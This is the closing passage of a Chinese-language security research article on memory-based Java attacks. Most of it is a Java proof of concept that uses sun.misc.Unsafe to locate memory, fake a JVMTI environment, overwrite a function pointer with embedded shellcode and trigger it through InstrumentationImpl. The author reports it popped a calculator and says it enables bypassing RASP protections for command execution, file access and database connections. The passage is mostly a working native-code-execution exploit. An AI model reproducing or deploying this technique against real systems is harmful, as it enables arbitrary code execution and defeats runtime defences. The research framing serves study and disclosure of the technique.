(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)
long allocateMemory = unsafe.allocateMemory(size);
System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
Map map=new HashMap();
map.put("X","y");
//unsafe.putObject(map,allocateMemory+0x10,ints);
//unsafe.putByte(allocateMemory,);
PocForRCE poc=new PocForRCE();
for (int i=0;i<10000;i++)
{
poc.b(33);
}
Thread.sleep(2000);
for (int k=0;k<10000;k++)
{
long tmp=unsafe.allocateMemory(0x4000);
//unsafe.putLong(tmp+0x3900,tmp);
//System.out.println("alloce:"+Long.toHexString(tmp));
}
long shellcodeBed = 0;
int offset=4;
for (int j=-0x1000;j<0x1000;j++) //down search
{
long target=unsafe.getAddress(allocateMemory+j*offset);
System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
if (target%8>0)
{
continue;
}
if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl))
{
if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
{
continue;
}
if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
{
System.out.println("maybe error address,skip "+Long.toHexString(target));
continue;
}
System.out.println("BYTE:"+unsafe.getByte(target));
//System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66)
{
System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
shellcodeBed=target;
break;
}
}
}
if (shellcodeBed==0)
{
for (int j=-0x100;j<0x800;j++) //down search
{
long target=unsafe.getAddress(allocateMemory+j*offset);
System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
if (target%8>0)
{
continue;
}
if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl))
{
if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
{
continue;
}
if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
{
System.out.println("maybe error address,skip "+Long.toHexString(target));
continue;
}
System.out.println("BYTE:"+unsafe.getByte(target));
//System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48)
{
System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
shellcodeBed=target;
break;
}
}
}
}
System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);
String address="";
allocateMemory=shellcodeBed;
address=allocateMemory+"";
Class cls=Class.forName("sun.instrument.InstrumentationImpl");
Constructor constructor=cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object obj=constructor.newInstance(Long.parseLong(address),true,true);
Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class});
ClassDefinition classDefinition=new ClassDefinition(
Class.class,
new byte[]{});
ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition};
try
{
unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set **jvmtienv point to it's next memory region
unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself
unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer to allocateMemory+0x10+0x168+8
for (int k=0;k<buf.length;k++)
{
unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body
}
redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger allocate
}
catch (Exception e)
{
e.printStackTrace();
}
}
private int a(int x)
{
if (x>1)
{
// System.out.println("x>1");
}
else
{
// System.out.println("x<=1");
}
return x*1;
}
private void b(int x)
{
if (a(x)>1)
{
//System.out.println("x>1");
this.a(x);
}
else
{
this.a(x+4);
// System.out.println("x<=1");
}
}
}
编译，运行，成功执行了shellcode，弹出计算器。
到此，我们通过纯Java代码实现了跨平台的任意Native代码执行，从而可以解锁很多新玩法，比如绕过RASP实现命令执行、文件读写、数据库连接等等。
小结
本文主要介绍了几种我最近研究的内存相关的攻击方法，欢迎大家交流探讨，文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了，所以行文略有仓促，若有纰漏之处，欢迎批评指正。
引用链接：
https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw